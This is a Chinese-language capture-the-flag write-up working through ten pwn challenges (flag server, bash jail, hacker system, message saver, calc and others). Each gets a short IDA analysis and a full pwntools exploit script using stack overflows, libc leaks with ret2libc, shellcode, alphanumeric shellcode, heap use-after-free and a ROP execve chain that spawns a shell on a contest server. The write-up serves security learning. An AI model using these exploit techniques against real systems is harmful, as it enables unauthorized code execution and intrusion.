这个算是做之前的复现吧,感谢Veritas501
WEEK1
1.flag server
拖进IDA看一下
流程倒着看,要有flag-----v8=1-----v5=v6-----s1=admin,我们可以把s1覆盖掉-----username长度不能大于63,不能等于0-----之后还要猜出随机数v6,看一下怎么覆盖
这些变量都在一起,美滋滋
exp
from pwn import *
cn=remote('111.230.149.72',30001)
cn.sendline('xiaoyuyu')
cn.recvuntil("your username length: ")
cn.sendline('-1')
payload='a'*(0x50-0x10)+p64(1)
cn.recvuntil("whats your username?")
cn.sendline(payload)
cn.interactive()
2.guess number
scanf直接溢出就好了,如下
a1和nptr的偏移量 0x10C+0x8
exp
from pwn import *
cn=remote('111.230.149.72',30002)
cn.sendline("xiaoyuyu")
payload='0'*(0x10C+0x8)+p64(0)
cn.send(payload)
cn.interactive()
3.zazahui
这次有两个文件,古天乐和正常的
拖进IDA
里面两个函数,第一个是个file open之类的,读取flag和ad的值,第二个函数如下
感觉没啥溢出的地方,跟进函数sub_8048634
基本可以猜测出就是个read函数,范围是188,我们可以看到s1的范围从0xC0到0x10,只有176,那么这个函数就溢出了,把读取的地址改到flag的地址,同时有一点要注意,要把v3变成100,不然flag读不出来
exp
#coding=utf8
from pwn import *
context.log_level = 'debug'
context.terminal = ['gnome-terminal','-x','bash','-c']
local = 0
if local:
cn = process('./zazahui')
bin = ELF('./zazahui')
#libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
libc = ELF('/lib/i386-linux-gnu/libc-2.23.so')
else:
cn = remote('111.230.149.72',30003)
bin = ELF('./zazahui')
libc = ELF('./libc32.so')
def z(a=''):
gdb.attach(cn,a)
if a == '':
raw_input()
cn.sendline("xiaoyuyu")
flag_addr=0x0804A060
payload='a'*176+p32(flag_addr)+p32(100)
cn.recvuntil('> ')
cn.sendline(payload)
cn.interactive()
#local x64: main_arena = 0x3c4b20
#local x86: main_arena = 0x1b2780
WEEK2
4.bash jail
可还行,拖进IDA看一下
我第一反应是把Lineptr改成/bin/sh
分析一下里面的函数,400706里面的意思是如果开头输入的是(a,b,c,f,h,g,i,l,n,s,t,*)会输出hacker!! go away~~ QAQ
那我们输入数字试一下,情况如下
大概了解了,应该是shell的脚本,在shell里面有如下这些
我就试着$0,然后打我想要的指令,竟然成功了,原理要是不是这样的,不要喷我,请指正
exp
from pwn import *
cn=remote('111.230.149.72',30004)
#cn=process('./bash_jail')
cn.sendline('xiaoyuyu')
cn.recvuntil('> ')
payload='$0'
cn.sendline(payload)
cn.interactive()
5.ez shellcode
开启了栈保护,去IDA看看
system函数之类的貌似都没有,猜测要泄露,不过看见直接可以直接执行我们要的shellcode,那就直接造一个就好了
exp
#coding=utf8
from pwn import *
context.log_level = 'debug'
context.terminal = ['gnome-terminal','-x','bash','-c']
local = 0
if local:
cn = process('./ez_shellcode')
bin = ELF('./ez_shellcode')
#libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
libc = ELF('/lib/i386-linux-gnu/libc-2.23.so')
else:
cn = remote('111.230.149.72',30005)
bin = ELF('./ez_shellcode')
libc = ELF('libc32.so')
cn.sendline('xiaoyuyu')
cn.recvuntil('> ')
payload=asm(shellcraft.sh())
cn.sendline(payload)
cn.interactive()
6.hacker system ver1
这四个功能里肯定有问题,找溢出点,拖进IDA逐个分析
exit函数没啥用,就是个exit(0)
然后没有system函数之类的,这回真要泄露了,先泄露某个函数的got,然后与libc中对比找偏移量,然后把system函数和/bin/sh的内存地址都找出来
里面有个函数叫read_n的函数,可以读取我们想到字节长度的数据,add和del函数中都有的,但是del里面的用起来方便一点,就选择了del的,本来想有一个write之类的函数来泄露一下,但没有,就拿puts函数的地址来泄露,其实都一样,至于read_n函数要读取的size大小,自己算一下就好了
具体做法:
1.在read_n中填充s1的空间,并覆盖掉ebp;
2.修改eip为puts的函数地址,让其执行,然后泄露我们想要的地址,并将puts函数的返回地址再次改为主函数以便我们继续利用;
3.通过泄露的地址来与libc文件中的地址进行对比,算出偏移量,一边找出system函数和/bin/sh的在内存中的真实地址
4.再次溢出read_n函数,执行我们需要的函数system
注:我自己后来泄露puts_got表地址不行,就换成别的函数了,就可以了,也是迷,而且直接把
但是一直都不行,我起初以为是del怎么了,就换成了print,后来参考了别人的的值,发现应该是需要将自己的rop放在bss字段上可以读的位置上去才行,也算是绕了个弯,反正也是神奇,有些地方就不会,emmmm
exp
#coding=utf8
from pwn import *
context.log_level = 'debug'
context.terminal = ['gnome-terminal','-x','bash','-c']
local = 0
if local:
cn = process('./hacker_system_ver1')
bin = ELF('./hacker_system_ver1')
#libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
libc = ELF('/lib/i386-linux-gnu/libc-2.23.so')
else:
cn = remote('111.230.149.72',30007)
bin = ELF('./hacker_system_ver1')
libc = ELF('libc32.so')
def z(a=''):
gdb.attach(cn,a)
if a == '':
raw_input()
cn.recvuntil('Input your token:')
cn.sendline('xiaoyuyu')
printf_addr=0x08048A20
main_addr=0x08048C1D
padding='a'*(0x34+0x04)
payload=padding+p32(bin.plt['puts'])+p32(main_addr)+p32(bin.got['__libc_start_main'])
cn.recvuntil('>')
cn.sendline('2')
cn.recv()
cn.sendline('100')
cn.recv()
cn.sendline(payload)
cn.recvuntil('\n')
start_main_addr = u32(cn.recv(4))
print hex(start_main_addr)
base=start_main_addr-libc.symbols['__libc_start_main']
system_addr=base+libc.symbols['system']
bin_sh=base+libc.search('/bin/sh').next()
payload2=padding+p32(system_addr)+p32(0xdeadbeaf)+p32(bin_sh)
cn.recvuntil('>')
cn.sendline('2')
cn.recv()
cn.sendline('100')
cn.recv()
cn.sendline(payload2)
cn.interactive()
#local x64: main_arena = 0x3c4b20
#local x86: main_arena = 0x1b2780
7.ez_shellcode
这题不知道和第五题有什么联系,拖进IDA看一下
分析一波,就是buf不能是A~Z,1~9,不然就break,但是break出去好像正是我们想要的
仅限制shellcode是a~zA~Z0~9范围内,这样的shellcode叫alpha shellcode,利用msfencode可以生成,真的是学到了
链接:https://blog.csdn.net/v_ling_v/article/details/42824007
exp
from pwn import *
cn=remote('111.230.149.72',30006)
cn.sendline('xiaoyuyu')
cn.recvuntil('> ')
cn.sendline('''PYIIIIIIIIIIQZVTX30VX4AP0A3HH0A00ABAABTAAQ2AB2BB0BBXP8ACJJISZTK1HMIQBSVCX6MU3K9M7CXVOSC3XS0BHVOBBE9RNLIJC62ZH5X5PS0C0FOE22I2NFOSCRHEP0WQCK9KQ8MK0AA''')
cn.interactive()
这题还没有能力纠结太久,说起来也惭愧,只能拿别人做好的shellcode来用
WEEK3
8.hacker system ver2
这一题就是把32位改成64位,注意一下参数传递的顺序就好了
exp
#coding=utf-8
from pwn import *
context.log_level = 'debug'
context.terminal = ['gnome-terminal','-x','bash','-c']
local = 1
if local:
cn = process('./hacker_system_ver2')
bin = ELF('./hacker_system_ver2')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
#libc = ELF('/lib/i386-linux-gnu/libc-2.23.so')
else:
cn = remote('111.230.149.72',30009)
bin = ELF('./hacker_system_ver2')
libc = ELF('./libc64.so')
def z(a=''):
gdb.attach(cn,a)
if a == '':
raw_input()
rdi_addr=0x0000000000400fb3
main_addr=0x0000000000400E80
payload='a'*(0x30+0x08)+p64(rdi_addr)+p64(bin.got['__libc_start_main'])+p64(bin.symbols['puts'])+p64(main_addr)
cn.recvuntil('> ')
cn.sendline('2')
cn.recvuntil('searched by name, input name length:')
cn.sendline('300')
cn.recvuntil('name:')
cn.sendline(payload)
cn.recvuntil('\n')
base=u64(cn.recv(6)+'\x00'*2)-libc.symbols['__libc_start_main']
system_addr=libc.symbols['system']+base
bin_sh=libc.search('/bin/sh').next()+base
payload2='a'*(0x30+0x08)+p64(rdi_addr)+p64(bin_sh)+p64(system_addr)+'aaaaaaaa'
cn.recvuntil('> ')
cn.sendline('2')
cn.recvuntil('searched by name, input name length:')
cn.sendline('300')
cn.recvuntil('name:')
cn.sendline(payload2)
cn.interactive()
cn.interactive()
#local x64: main_arena = 0x3c4b20
#local x86: main_arena = 0x1b2780
9.message saver
乍一看和之前的差不多,但是凭直觉觉得是堆,看完真的是堆,看一下哪里有问题吧,如下
这里显然是可以double free的,我们需要的函数也有,如下
看一下我们malloc的结构,我是结合IDA和程序执行流程直接猜的
可以看到add的时候,创建了两个chunk
第二个chunk结构大概是:ptr|message|encode
我们删掉之后没有赋0,因此可以修改或者覆盖后后继续调用
exp
#coding=utf8
from pwn import *
context.log_level = 'debug'
context.terminal = ['gnome-terminal','-x','bash','-c']
local = 1
if local:
cn = process('./message_saver')
bin = ELF('./message_saver')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
#libc = ELF('/lib/i386-linux-gnu/libc-2.23.so')
else:
cn = remote('111.230.149.72',30010)
bin = ELF('./message_saver')
libc = ELF('libc64.so')
def z(a=''):
gdb.attach(cn,a)
if a == '':
raw_input()
key=0x0000000000400816
payload='a'*0x10+p64(key)
#cn.recv()
#cn.sendline('xiaoyuyu')
cn.recvuntil('> ')
cn.sendline('1')
cn.recvuntil('input message length:')
cn.sendline('24')
cn.recvuntil('input message:')
cn.sendline('xiaoyuyu')
cn.recvuntil('===')
cn.sendline('2')
cn.recvuntil('>')
cn.sendline('4')
cn.recvuntil('>')
cn.sendline('2')
cn.recvuntil('input message length:')
cn.sendline('24')
cn.recvuntil('input message:')
cn.sendline(payload)
#cn.recvuntil('>')
#cn.sendline('3')
cn.interactive()
#local x64: main_arena = 0x3c4b20
#local x86: main_arena = 0x1b2780
10.calc
这不会也是堆溢出之类的吧,拖进IDA看看,反正功能还是可以看出来是一个计算器
我自己找溢出找了半天…………后来发现有个变量没有限制,如下
然后这个文件还有一个特点,就是他是一个静态链接的文件,我刚开始是完全不知道要干嘛的,然后看了别人的WP,说可以用rop chain来搞定,目前还不太清楚原理,只知道算是shellcode的一种吧?还没弄懂
不管,先看一下溢出的偏移量,如下
偏移量就是0x110-0x10=0x100
第一种方法最无脑,利用ROPgadget的ropchain功能,对于静态编译的程序,很容易可以生成一个rop链,将rop链覆盖在返回地址处即可,缺点就是这种自动ropchain一般性很长,如果有一些情况限制了长度就会有麻烦,这题倒不用考虑这一点
ROPgadget --binary calc --ropchain就可以自动生成,结果如下
emmmmm,的确是比较长
exp
#coding=utf8
from pwn import *
context.log_level = 'debug'
context.terminal = ['gnome-terminal','-x','bash','-c']
local = 1
if local:
cn = process('./calc')
bin = ELF('./calc')
#libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
libc = ELF('/lib/i386-linux-gnu/libc-2.23.so')
else:
cn = remote('111.230.149.72',30008)
bin = ELF('./calc')
libc = ELF('libc32.so')
def z(a=''):
gdb.attach(cn,a)
if a == '':
raw_input()
from struct import pack
# Padding goes here
p = 'a'*0x100
p+=p32(0x40)
p+=p32(0)
p+='a'*0xc
p += pack('<I', 0x08056ad3) # pop edx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x080b8446) # pop eax ; ret
p += '/bin'
p += pack('<I', 0x080551fb) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x08056ad3) # pop edx ; ret
p += pack('<I', 0x080ea064) # @ .data + 4
p += pack('<I', 0x080b8446) # pop eax ; ret
p += '//sh'
p += pack('<I', 0x080551fb) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x08056ad3) # pop edx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x08049603) # xor eax, eax ; ret
p += pack('<I', 0x080551fb) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x080481c9) # pop ebx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x080dee5d) # pop ecx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x08056ad3) # pop edx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x08049603) # xor eax, eax ; ret
p += pack('<I', 0x0807b01f) # inc eax ; ret
p += pack('<I', 0x0807b01f) # inc eax ; ret
p += pack('<I', 0x0807b01f) # inc eax ; ret
p += pack('<I', 0x0807b01f) # inc eax ; ret
p += pack('<I', 0x0807b01f) # inc eax ; ret
p += pack('<I', 0x0807b01f) # inc eax ; ret
p += pack('<I', 0x0807b01f) # inc eax ; ret
p += pack('<I', 0x0807b01f) # inc eax ; ret
p += pack('<I', 0x0807b01f) # inc eax ; ret
p += pack('<I', 0x0807b01f) # inc eax ; ret
p += pack('<I', 0x0807b01f) # inc eax ; ret
p += pack('<I', 0x0806d445) # int 0x80
for i in range(len(p)/4):
cn.sendline('1')
cn.recvuntil('a:')
cn.sendline('0')
cn.recvuntil('b:')
cn.sendline(str(u32(p[4*i:4*i+4])))
cn.sendline('5')
cn.sendline('6')
cn.interactive()
#local x64: main_arena = 0x3c4b20
#local x86: main_arena = 0x1b2780
其实就是每一次add的时候修改一些eip,最后在exit时,被修改的eip就会跳转到我们想执行的指令上去,为什么每次只读4个字节主要是因为输入的范围不能超过int的范围,而且毕竟是32位的程序,ropchain中的指令所在的地址每条也是四个字节大小的